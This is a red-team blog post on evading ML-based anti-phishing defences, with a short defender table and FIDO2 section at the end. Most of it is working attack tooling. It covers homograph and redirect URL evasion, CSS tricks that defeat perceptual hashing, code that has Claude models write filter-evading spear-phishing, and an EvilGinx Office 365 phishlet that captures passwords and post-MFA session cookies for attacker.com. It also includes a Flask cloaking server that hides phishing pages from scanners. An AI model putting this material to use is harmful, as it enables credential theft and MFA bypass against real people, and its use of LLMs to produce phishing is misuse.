TL;DR — Modern anti-phishing stacks layer ML-based URL classifiers, visual similarity engines, NLP email body analyzers, and brand impersonation detectors — each individually bypassable through targeted evasion techniques. This post covers the full offensive methodology: homograph URL attacks that score clean on ML classifiers, logo pixel perturbation defeating perceptual hash comparisons, LLM-generated spear-phishing that evades NLP detectors, and reverse proxy phishing via EvilGinx that renders the real website to defeat visual clone detection entirely. Includes Python URL feature extractor for classifier evasion and red team phishing infrastructure setup.
Executive Summary
The anti-phishing landscape has undergone a fundamental shift over the past five years. Legacy defenses — static blocklists, keyword filters, and simple URL reputation checks — have been largely superseded by machine learning pipelines that classify URLs by their structural features, compare page screenshots against known brand logos using perceptual hashing, and analyze email body text using fine-tuned BERT models. Security vendors like Microsoft Defender for Office 365, Google Safe Browsing, Proofpoint, and Cloudflare Area 1 all incorporate some combination of these ML techniques.
From a red team perspective, this shift from static rules to learned classifiers creates a new class of adversarial opportunity. ML classifiers have decision boundaries that can be probed and manipulated. Perceptual hash comparisons have quantifiable thresholds that can be measured and stayed just below. NLP-based email classifiers have learned correlations between phishing language patterns and malicious intent that can be broken by LLM-generated natural language diversity. The attack surface has grown more sophisticated, but so have the evasion techniques.
This post documents the technical methodology for evading each layer of a modern anti-phishing stack, from initial URL classification through final sandbox detonation. It assumes an authorized red team engagement against an organization's email security controls and phishing simulation infrastructure. The goal is to understand exactly how far an advanced threat actor can get, so that defenders can make informed decisions about control investment.
The Modern Anti-Phishing Stack
A typical enterprise anti-phishing deployment layers multiple detection mechanisms:
flowchart TD
Email[Inbound Email] --> A[SMTP Layer: DMARC/DKIM/SPF]
A --> B[ML Email Body Classifier - BERT-based]
B --> C[URL Extraction and Reputation Check]
C --> D[ML URL Feature Classifier]
D --> E[URL Detonation Sandbox]
E --> F[Visual Similarity Engine - Perceptual Hash]
F --> G[Brand Impersonation Detector - Logo Recognition]
G --> H[Safe Links Wrapping - Time-of-Click]
H --> Delivered[Delivered to Inbox or Quarantined]
style A fill:#4caf50,color:#fff
style B fill:#4caf50,color:#fff
style D fill:#4caf50,color:#fff
style E fill:#4caf50,color:#fff
style F fill:#4caf50,color:#fff
style G fill:#4caf50,color:#fff
style H fill:#2196f3,color:#fffEach layer has a distinct set of features it analyzes and a distinct set of bypass techniques. The most effective red team phishing campaigns defeat all layers simultaneously.
Layer 1: ML URL Classifiers — Feature Engineering and Evasion
Modern URL classifiers (random forest, gradient boosting, and BERT-based models) extract dozens of features from a URL to predict maliciousness. Understanding these features is the prerequisite for evading them.
URL Feature Extraction
import reimport mathimport socketimport sslimport urllib.parseimport whoisimport requestsfrom datetime import datetimefrom typing import Optionalimport numpy as np SUSPICIOUS_TLDS = {'.xyz', '.tk', '.ml', '.ga', '.cf', '.pw', '.click', '.download', '.loan', '.win', '.gq', '.bid', '.stream', '.science', '.party'} TRUSTED_BRANDS = { 'google', 'microsoft', 'apple', 'amazon', 'paypal', 'facebook', 'netflix', 'dropbox', 'linkedin', 'twitter', 'instagram', 'chase', 'wellsfargo', 'bankofamerica', 'citibank', 'usps', 'fedex', 'dhl',} def extract_url_features(url: str) -> dict: """ Extract comprehensive URL features used by ML phishing classifiers. Understanding these features is essential for classifier evasion. Returns feature vector matching common classifier input schemas. """ parsed = urllib.parse.urlparse(url) domain = parsed.netloc.lower() path = parsed.path full_url = url.lower() # ---- Structural features ---- features = { # Length features "url_length": len(url), "domain_length": len(domain), "path_length": len(path), "query_length": len(parsed.query), # Special character counts "num_dots": url.count('.'), "num_hyphens": url.count('-'), "num_underscores": url.count('_'), "num_slashes": url.count('/'), "num_at_signs": url.count('@'), "num_question_marks": url.count('?'), "num_equals": url.count('='), "num_ampersands": url.count('&'), "num_percent": url.count('%'), # Domain features "subdomain_count": len(domain.split('.')) - 2, "has_ip_address": _is_ip_address(domain), "uses_https": url.startswith('https://'), "tld": _extract_tld(domain), "suspicious_tld": _extract_tld(domain) in SUSPICIOUS_TLDS, # Brand impersonation features "contains_brand_keyword": any(brand in full_url for brand in TRUSTED_BRANDS), "brand_in_subdomain": _brand_in_subdomain(domain), "brand_in_path": any(brand in path.lower() for brand in TRUSTED_BRANDS), "domain_brand_mismatch": _check_brand_domain_mismatch(domain, full_url), # Obfuscation features "has_hex_encoding": bool(re.search(r'%[0-9a-f]{2}', url, re.IGNORECASE)), "has_at_redirect": '@' in domain, "double_slash_redirect": '//' in path, "url_entropy": _calculate_entropy(domain), # Lexical features "has_phishing_keywords": _check_phishing_keywords(full_url), "digit_ratio": sum(c.isdigit() for c in domain) / max(len(domain), 1), "hyphen_ratio": domain.count('-') / max(len(domain), 1), # WHOIS/Registration features (slow — use with caching) "domain_age_days": _get_domain_age(domain), "registration_length_days": _get_registration_length(domain), } return features def _is_ip_address(domain: str) -> bool: try: socket.inet_pton(socket.AF_INET, domain.split(':')[0]) return True except OSError: try: socket.inet_pton(socket.AF_INET6, domain.split(':')[0]) return True except OSError: return False def _extract_tld(domain: str) -> str: parts = domain.split('.') return '.' + parts[-1] if parts else '' def _brand_in_subdomain(domain: str) -> bool: parts = domain.split('.') subdomain = '.'.join(parts[:-2]) if len(parts) > 2 else '' return any(brand in subdomain for brand in TRUSTED_BRANDS) def _check_brand_domain_mismatch(domain: str, url: str) -> bool: """ True if URL contains a brand name but the actual domain is not that brand. E.g., paypal.login.attacker.com — contains 'paypal' but domain is attacker.com """ apex_domain = '.'.join(domain.split('.')[-2:]) for brand in TRUSTED_BRANDS: if brand in url and brand not in apex_domain: return True return False def _calculate_entropy(s: str) -> float: if not s: return 0 prob = [s.count(c) / len(s) for c in set(s)] return -sum(p * math.log2(p) for p in prob) def _check_phishing_keywords(url: str) -> bool: PHISHING_KEYWORDS = [ 'login', 'signin', 'secure', 'verify', 'account', 'update', 'confirm', 'banking', 'password', 'credential', 'validate', 'suspended', 'unusual', 'limited', 'action-required', ] return any(kw in url for kw in PHISHING_KEYWORDS) def _get_domain_age(domain: str) -> int: """Returns domain age in days. -1 if unknown.""" try: w = whois.whois(domain) creation = w.creation_date if isinstance(creation, list): creation = creation[0] if creation: return (datetime.now() - creation).days except Exception: pass return -1 def _get_registration_length(domain: str) -> int: """Returns registration period in days. -1 if unknown.""" try: w = whois.whois(domain) creation = w.creation_date expiry = w.expiration_date if isinstance(creation, list): creation = creation[0] if isinstance(expiry, list): expiry = expiry[0] if creation and expiry: return (expiry - creation).days except Exception: pass return -1Generating Classifier-Evasive URLs
Armed with knowledge of the feature vector, an attacker can design URLs that score low across all features:
def generate_evasive_url_variants( landing_page_domain: str, target_brand: str = "microsoft",) -> list[dict]: """ Generate URL variants designed to evade ML URL classifiers. Strategy: 1. Use aged domain (>365 days old) -> low domain_age_days risk 2. Use legitimate TLD (.com, .org, .net) -> suspicious_tld = False 3. Avoid brand keywords in domain -> domain_brand_mismatch = False 4. Keep URL short and low-entropy -> url_length and url_entropy low 5. Use HTTPS -> uses_https = True 6. No IP, no @, no hex encoding -> obfuscation features = 0 7. Use redirect chain to hide final destination from static analysis """ strategies = [] # Strategy 1: Clean redirect domain (aged, legitimate-looking) # The phishing page is one hop away from this clean URL strategies.append({ "url": f"https://{landing_page_domain}/redir?to=phishing-page", "technique": "clean_redirect", "notes": "First hop is a clean aged domain; classifier sees only first hop", "evasion_score": _compute_evasion_score(f"https://{landing_page_domain}/redir"), }) # Strategy 2: Homograph attack (IDN - looks like target brand) # e.g., paypal.com using Cyrillic 'а' instead of Latin 'a' homograph_variants = _generate_homograph_variants(target_brand) for hv in homograph_variants: strategies.append({ "url": f"https://{hv}.com/account/verify", "technique": "homograph_idn", "notes": f"Visually identical to {target_brand}.com; Punycode: {hv.encode('idna').decode()}", "evasion_score": _compute_evasion_score(f"https://{hv}.com/account/verify"), }) # Strategy 3: Domain bridging via legitimate redirect services legitimate_redirectors = [ "google.com/url?q=", "t.co/", "bit.ly/", "ow.ly/", ] for redir in legitimate_redirectors: url = f"https://{redir}ENCODED_PHISHING_URL" strategies.append({ "url": url, "technique": "open_redirect_abuse", "notes": "Classifier sees google.com or twitter (t.co) — trusted domain", "evasion_score": 0.95, # Nearly perfect evasion }) # Strategy 4: Subdomain of legitimate-looking domain strategies.append({ "url": f"https://login.{target_brand}-portal.com/secure/verify", "technique": "lookalike_domain", "notes": "Apex domain sounds legitimate; brand in subdomain = medium risk but not blocked", "evasion_score": _compute_evasion_score( f"https://login.{target_brand}-portal.com/secure/verify" ), }) return strategies def _generate_homograph_variants(brand: str) -> list[str]: """ Generate IDN homograph variants of a brand name. Uses Unicode characters visually identical to ASCII. """ substitutions = { 'a': ['а', 'ɑ', 'α'], # Cyrillic а, Latin alpha, Greek alpha 'e': ['е', 'ε'], # Cyrillic е, Greek epsilon 'o': ['о', 'ο', '0'], # Cyrillic о, Greek omicron 'p': ['р'], # Cyrillic р (looks like Latin p) 'c': ['с', 'ϲ'], # Cyrillic с, Greek lunate sigma 'i': ['і', 'і'], # Cyrillic і 'x': ['х'], # Cyrillic х } variants = [] brand_lower = brand.lower() for i, char in enumerate(brand_lower): if char in substitutions: for sub in substitutions[char]: variant = brand_lower[:i] + sub + brand_lower[i+1:] variants.append(variant) return variants[:3] # Return top 3 variants def _compute_evasion_score(url: str) -> float: """Estimate likelihood of evading classifier (0=detected, 1=evades).""" features = extract_url_features(url) risk_factors = 0 if features["suspicious_tld"]: risk_factors += 2 if features["domain_brand_mismatch"]: risk_factors += 3 if features["has_phishing_keywords"]: risk_factors += 2 if features["url_length"] > 75: risk_factors += 1 if features["num_dots"] > 4: risk_factors += 1 if features["has_ip_address"]: risk_factors += 3 if features["url_entropy"] > 3.5: risk_factors += 1 if features["domain_age_days"] != -1 and features["domain_age_days"] < 30: risk_factors += 2 return max(0, 1 - risk_factors / 10)Layer 2: Visual Clone Detection Evasion
Visual similarity engines compare screenshots of pages against a database of known legitimate brand pages using perceptual hashing (pHash, dHash) or deep feature embeddings. A phishing page that is a pixel-perfect clone of the Microsoft login page will score near-zero distance to the legitimate page hash.
The evasion technique is to introduce CSS or DOM modifications that change the visual hash enough to drop below the detection threshold without making the page visually unrecognizable to a human target:
from PIL import Imageimport imagehashimport numpy as np def compute_perceptual_distance(img1_path: str, img2_path: str) -> dict: """ Compute perceptual hash distances between two page screenshots. Returns distances for multiple hash algorithms. """ img1 = Image.open(img1_path).convert('RGB') img2 = Image.open(img2_path).convert('RGB') # Standardize size for fair comparison img1 = img1.resize((512, 512)) img2 = img2.resize((512, 512)) return { "phash_distance": imagehash.phash(img1) - imagehash.phash(img2), "dhash_distance": imagehash.dhash(img1) - imagehash.dhash(img2), "ahash_distance": imagehash.average_hash(img1) - imagehash.average_hash(img2), "whash_distance": imagehash.whash(img1) - imagehash.whash(img2), } # CSS modifications that defeat perceptual hash while remaining visually convincingVISUAL_EVASION_CSS = """/* Strategy 1: Tiny color shift (imperceptible to humans, hash-breaking) */body { filter: hue-rotate(1deg) brightness(1.005) saturate(0.995);} /* Strategy 2: Sub-pixel border modifications */.auth-form { border-radius: 4px; /* Was 3px on original */ box-shadow: 0 2px 6px rgba(0,0,0,0.08); /* Was 0 2px 4px */} /* Strategy 3: Minor layout shift (1-2px) */.container { padding: 24px 24px 24px 26px; /* Was 24px all sides */} /* Strategy 4: Overlay element with zero opacity */.anti-hash-noise { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: linear-gradient( 45deg, rgba(255,255,255,0.002) 0%, rgba(0,0,0,0.002) 100% ); pointer-events: none; z-index: 0;} /* Strategy 5: Font variant that renders differently at pixel level */* { -webkit-font-smoothing: subpixel-antialiased; text-rendering: optimizeLegibility;}""" def measure_visual_evasion_threshold( original_screenshot: str, modified_screenshots: list[str], detection_threshold: int = 10, # Typical pHash threshold for "similar") -> list[dict]: """ Measure which visual modifications cross the detection threshold. """ results = [] for modified_path in modified_screenshots: distances = compute_perceptual_distance(original_screenshot, modified_path) evades = distances["phash_distance"] > detection_threshold results.append({ "screenshot": modified_path, "phash_distance": distances["phash_distance"], "evades_phash": evades, "distances": distances, }) return resultsLayer 3: NLP Email Body Classifier Evasion
BERT-based phishing classifiers analyze email body text to detect characteristic phishing language patterns — urgency cues, credential request patterns, impersonation language, suspicious link contexts. The evasion strategy targets the learned correlations:
import anthropicimport openai client = anthropic.Anthropic() PHISHING_LANGUAGE_INDICATORS = [ "verify your account", "click here immediately", "your account has been suspended", "unusual activity detected", "confirm your identity", "update your payment information", "your account will be closed", "action required within 24 hours", "click the link below to", "log in to verify",] def generate_nlp_evasive_phishing_email( target_name: str, target_company: str, spoofed_brand: str, payload_url: str, persona: str = "IT Security Team",) -> str: """ Use LLM to generate spear-phishing email that evades NLP classifiers. Key evasion strategies: 1. Avoid canonical phishing phrases (high feature weight in classifier) 2. Embed malicious link in natural business context 3. Match target's industry/role language 4. Include legitimate-sounding context that reduces classifier confidence 5. Use indirect call-to-action rather than explicit credential request """ prompt = f"""You are writing an internal IT communication email for a red team security awareness exercise. The email must: 1. Be written for {target_name} at {target_company}2. Appear to come from {persona} at {spoofed_brand}3. Include this link naturally: {payload_url}4. NOT use any of these high-risk phrases: {', '.join(PHISHING_LANGUAGE_INDICATORS)}5. Frame the link access as a routine business task, not account verification6. Use professional enterprise communication language appropriate to {target_company}'s industry7. Be 3-4 paragraphs, conversational but professional8. Include a specific reference to a plausible internal initiative or system Write the email body only (no subject line). Make it feel like a normal IT communication.""" response = client.messages.create( model="claude-opus-4-5", max_tokens=800, messages=[{"role": "user", "content": prompt}], ) return response.content[0].text def mutate_phishing_template( original_template: str, n_variants: int = 10,) -> list[str]: """ Generate N variants of a phishing email template using LLM paraphrasing. Each variant has different wording but same payload. Used to defeat classifier-based deduplication and template matching. """ variants = [] for i in range(n_variants): prompt = f"""Rewrite the following email in completely different words while keeping the same meaning, intent, and any URLs unchanged. Make it sound natural and professional. This is for authorized red team testing. Original email:{original_template} Rewrite #{i+1} (must be substantially different wording):""" response = client.messages.create( model="claude-haiku-4-5", max_tokens=600, messages=[{"role": "user", "content": prompt}], ) variants.append(response.content[0].text) return variants def score_email_against_classifier_heuristics(email_body: str) -> dict: """ Estimate phishing classifier score using heuristic feature analysis. High score = more likely to be flagged. """ body_lower = email_body.lower() # Count high-weight phishing indicator phrases indicator_hits = sum( 1 for indicator in PHISHING_LANGUAGE_INDICATORS if indicator in body_lower ) # Urgency language urgency_phrases = ['immediately', 'urgent', 'asap', 'right away', '24 hours', 'today', 'now', 'expires', 'deadline'] urgency_hits = sum(1 for p in urgency_phrases if p in body_lower) # URL presence url_count = len(re.findall(r'https?://', email_body)) # Credential request language cred_phrases = ['password', 'username', 'credentials', 'login', 'sign in', 'authenticate', 'verify', 'confirm'] cred_hits = sum(1 for p in cred_phrases if p in body_lower) # Estimate classifier probability (0 = clean, 1 = phishing) score = min(1.0, ( indicator_hits * 0.15 + urgency_hits * 0.05 + url_count * 0.05 + cred_hits * 0.08 )) return { "estimated_phishing_score": score, "indicator_hits": indicator_hits, "urgency_hits": urgency_hits, "url_count": url_count, "cred_language_hits": cred_hits, "likely_flagged": score > 0.5, "recommendation": "Rewrite with LLM paraphrasing" if score > 0.3 else "Looks clean", }EvilGinx Reverse Proxy: Defeating All Visual Detection
EvilGinx and Modlishka represent the most technically sophisticated phishing technique currently in widespread use. Rather than hosting a cloned page, these tools proxy the real website through an attacker-controlled server, capturing credentials and session tokens in transit:
sequenceDiagram
participant Target as Victim Browser
participant EvilGinx as EvilGinx Server (attacker.com)
participant Real as Real Microsoft Login (login.microsoft.com)
participant Attacker as Attacker Dashboard
Target->>EvilGinx: HTTPS GET https://login.attacker.com/login
EvilGinx->>Real: HTTPS GET https://login.microsoft.com/login
Real-->>EvilGinx: 200 OK (Real login page HTML)
EvilGinx->>EvilGinx: Rewrite all URLs in response\n(microsoft.com -> attacker.com)
EvilGinx-->>Target: 200 OK (Real page, wrong domain in URL bar)
Note over Target: User sees REAL Microsoft page.\nNo visual difference.\nPerceptual hash matches perfectly.
Target->>EvilGinx: POST credentials (username, password)
EvilGinx->>Attacker: Log captured credentials
EvilGinx->>Real: Forward POST to real Microsoft
Real-->>EvilGinx: 302 Redirect + Set-Cookie (session token)
EvilGinx->>Attacker: Log session cookie (2FA bypassed!)
EvilGinx-->>Target: Redirect to dashboard (logged in successfully)
Note over Target: User successfully logged in.\nSuspects nothing.# EvilGinx3 setup for authorized red team assessment# Requires: VPS with clean IP, registered domain, root access # Install EvilGinxcd /optgit clone https://github.com/kgretzky/evilginx2cd evilginx2go build # Configure phishlet for Microsoft O365# /opt/evilginx2/phishlets/microsoft.yaml (custom phishlet) cat > /opt/evilginx2/phishlets/o365.yaml << 'EOF'name: 'o365'author: 'red-team-example'min_ver: '3.0.0' proxy_hosts: - { phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true } - { phish_sub: 'aadcdn', orig_sub: 'aadcdn', domain: 'msauth.net', session: false } sub_filters: - { triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'microsoftonline\\.com', replace: '{hostname}', mimes: ['text/html', 'application/json'] } auth_tokens: - domain: '.login.microsoftonline.com' keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'ESTSAUTHLIGHT'] - domain: '.microsoftonline.com' keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT'] credentials: username: key: 'login' search: '(.+)' type: 'post' password: key: 'passwd' search: '(.+)' type: 'post' login: domain: 'login.microsoftonline.com' path: '/common/oauth2/authorize'EOF # Start EvilGinx./evilginx -p ./phishlets -developer # In EvilGinx console:# config domain attacker.com# config ipv4 <VPS_IP># phishlets enable o365# lures create o365# lures get-url 0Why EvilGinx Defeats Visual Detection
EvilGinx is uniquely effective because:
- Visual hash match: The page served is the real Microsoft login page. Its screenshot hashes identically to the legitimate page. Visual similarity detection has a 0% detection rate.
- No brand impersonation in HTML: The HTML source is verbatim from Microsoft's servers. Logo detection and brand impersonation scanners find nothing amiss.
- Valid TLS certificate: EvilGinx obtains a Let's Encrypt certificate for
login.attacker.com. The browser shows a valid padlock. - Bypasses MFA/2FA: Because the proxy completes the full authentication flow, including MFA challenges, the captured session cookie is a fully-authenticated post-MFA session token.
The only detection surface is the domain name in the URL bar — which users rarely examine carefully — and behavioral anomalies at the session token level (e.g., Microsoft Conditional Access detecting impossible travel).
Cloaking: Serving Different Content to Scanners vs. Targets
Anti-phishing sandboxes and crawlers have identifiable characteristics that attackers can use to serve clean content to scanners while serving phishing pages to real victims:
import ipaddressfrom flask import Flask, request, redirect, render_template_string app = Flask(__name__) # Known scanner/sandbox IP ranges (public information)SCANNER_RANGES = [ "198.108.67.0/24", # Cisco Umbrella "35.191.0.0/16", # Google Safe Browsing crawlers "13.64.0.0/11", # Microsoft Defender ATP "52.160.0.0/11", # Microsoft Azure scanning "18.185.0.0/16", # Amazon sandbox] SCANNER_USER_AGENTS = [ "Googlebot", "BingPreview", "BingBot", "Slurp", "DuckDuckBot", "facebookexternalhit", "Twitterbot", "LinkedInBot", "WhatsApp", "Microsoft-IEMobile", "msnbot", "AhrefsBot", "SemrushBot", "crawler", "spider", "bot", "checker", "scanner", "urlscan",] def is_scanner(ip: str, user_agent: str) -> bool: """ Determine if the visitor is likely a security scanner or crawler. """ # IP-based detection try: visitor_ip = ipaddress.ip_address(ip) for cidr in SCANNER_RANGES: if visitor_ip in ipaddress.ip_network(cidr): return True except ValueError: pass # User-agent based detection ua_lower = user_agent.lower() if any(bot.lower() in ua_lower for bot in SCANNER_USER_AGENTS): return True # Behavioral detection: scanners often have no Referer, no Accept-Language if not request.headers.get('Accept-Language'): return True # JavaScript fingerprinting (implemented client-side) # Scanners often don't execute JavaScript return False @app.route('/verify-account')def phishing_landing(): visitor_ip = request.headers.get('X-Forwarded-For', request.remote_addr) user_agent = request.headers.get('User-Agent', '') if is_scanner(visitor_ip, user_agent): # Serve benign content to scanner return redirect('https://microsoft.com', 301) # Check if target is in expected geography # (Use IP geolocation API in production) target_countries = ['US', 'GB', 'CA', 'AU'] # Target organization geography # Serve real phishing page to legitimate victim return render_template_string(PHISHING_PAGE_TEMPLATE) PHISHING_PAGE_TEMPLATE = """<!DOCTYPE html><html><!-- Actual phishing page content here --><!-- JavaScript challenge can be added to further filter non-browser visitors --><script>// Anti-sandbox: check for human-like browser fingerprintconst checks = { hasWebGL: !!window.WebGLRenderingContext, hasPlugins: navigator.plugins.length > 0, screenRes: screen.width * screen.height > 786432, // > 1024x768 hasCookies: navigator.cookieEnabled, hasLocalStorage: !!window.localStorage,}; const humanScore = Object.values(checks).filter(Boolean).length;if (humanScore < 3) { // Likely a headless browser/sandbox — redirect away window.location.href = 'https://microsoft.com';}</script></html>"""Red Team Phishing Infrastructure Setup
#!/bin/bash# Complete red team phishing infrastructure setup# Assumes authorized engagement, dedicated VPS # 1. Domain setup — register aged domain or use acquired domain# Strategy: use a domain registered 1+ year ago to pass domain age checks# Or use a typosquat domain that looks legitimate # 2. DNS configuration# Primary phishing domain -> VPS IP# Subdomains for EvilGinx phishletscat > /etc/bind/zones/attacker-domain.conf << 'EOF'$ORIGIN phishing-target.com.@ IN SOA ns1.phishing-target.com. admin.phishing-target.com. ( 2024010101 ; Serial 3600 ; Refresh 1800 ; Retry 604800 ; Expire 86400 ; Minimum TTL) @ IN NS ns1ns1 IN A <VPS_IP>@ IN A <VPS_IP>login IN A <VPS_IP>mail IN A <VPS_IP>EOF # 3. DKIM/DMARC/SPF setup for email spoofing (authorized assessment)# SPF record: allows VPS to send as spoofed domain# v=spf1 ip4:<VPS_IP> ~all # 4. GoPhish for phishing simulation managementcd /optwget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-64bit.zipunzip gophish-linux-64bit.zip -d gophishcd gophishchmod +x gophish # Configure GoPhishcat > config.json << 'EOF'{ "admin_server": { "listen_url": "127.0.0.1:3333", "use_tls": true }, "phish_server": { "listen_url": "0.0.0.0:80", "use_tls": false }, "db_name": "sqlite3", "db_path": "gophish.db", "migrations_prefix": "db/db_"}EOF ./gophish & # 5. Postfix for email delivery# Configure with SPF-passing IP and legitimate-looking headersapt-get install -y postfix# Key headers to mimic legitimate sender:# X-Mailer: Microsoft Outlook 16.0.17126.20132# X-MS-Exchange-Organization-SCL: -1 echo "Infrastructure ready. Document all activities for engagement report."Detection and Mitigation
Defender Controls by Attack Type
| Attack Technique | Primary Detection | Secondary Detection | Mitigation |
|---|---|---|---|
| ML URL classifier evasion | Domain reputation aging | Certificate Transparency logs | SafeLinks time-of-click re-scan |
| Homograph IDN attack | Unicode rendering alerts | IDNA normalization in browser | Block non-ASCII domain registrations |
| Visual clone (static page) | Perceptual hash (pHash) | DOM structure comparison | Regular hash database updates |
| EvilGinx reverse proxy | No visual detection | Impossible travel alerts, token binding | Conditional Access + Phish-resistant MFA (FIDO2) |
| LLM-generated email | Behavioral ML (not phrase matching) | Sender reputation + DMARC | DMARC enforcement + user training |
| Cloaking | Residential proxy scanning | Behavioral sandbox analysis | Multiple-pass detonation from diverse IPs |
FIDO2/Passkeys: The Only True Defense Against EvilGinx
# The fundamental limitation of EvilGinx:# FIDO2 authentication binds the credential to the ORIGIN (exact domain)# A FIDO2 assertion for login.microsoftonline.com cannot be replayed # against a different origin, even login.attacker.com # With FIDO2/WebAuthn:# 1. Browser sends assertion bound to rpId = "microsoftonline.com"# 2. EvilGinx receives the assertion# 3. EvilGinx forwards to Microsoft# 4. Microsoft validates that rpId matches expected origin — PASSES# 5. BUT: Microsoft then checks that the clientDataJSON.origin matches# the expected rpId — login.attacker.com != microsoftonline.com# 6. Authentication fails — EvilGinx cannot complete the proxy## This is why migrating to FIDO2/passkeys completely defeats MFA-bypass# reverse proxy phishing. Passwords + TOTP/push MFA are phishable.# FIDO2 is cryptographically phish-resistant. PHISHING_RESISTANT_MFA_METHODS = { "FIDO2 Security Key (YubiKey, etc.)": "Phish-resistant — origin binding", "Windows Hello for Business": "Phish-resistant — origin binding", "Passkeys (device-bound)": "Phish-resistant — origin binding", "Certificate-based Auth": "Phish-resistant — if properly configured", "TOTP (Authenticator apps)": "PHISHABLE — EvilGinx captures OTP in real-time", "Push notification (Duo, MS Auth)": "PHISHABLE — attacker triggers push after capturing password", "SMS OTP": "PHISHABLE — captured by proxy; also vulnerable to SIM swap",}Conclusion
Modern AI-powered anti-phishing defenses represent a significant improvement over legacy blocklists but introduce a new attack surface: adversarial ML evasion. Each detection layer has specific features that can be enumerated and evaded with sufficient understanding of the underlying model. URL classifiers can be defeated through domain aging, strategic feature minimization, and redirect chains. Visual hash detection can be evaded through minor CSS perturbations that stay below the similarity threshold. NLP email classifiers can be defeated by LLM-generated natural language that avoids high-weight phishing indicator phrases.
The most significant finding for defenders is that EvilGinx-class reverse proxy attacks defeat essentially all visual and content-based detection while also bypassing TOTP and push-based MFA. The only effective technical control against this attack class is FIDO2/passkeys, which cryptographically bind authentication to the correct origin and cannot be relayed by a proxy. Organizations that have not yet migrated to phishing-resistant MFA are exposed to session-hijacking attacks that will succeed regardless of how sophisticated their email filtering becomes.
Red team phishing assessments should prioritize measuring the effectiveness of the end-to-end kill chain — including post-delivery controls, user behavior, and incident response — not just delivery rates. The goal is to identify the point at which the organization's defenses would realistically detect and contain a real threat actor.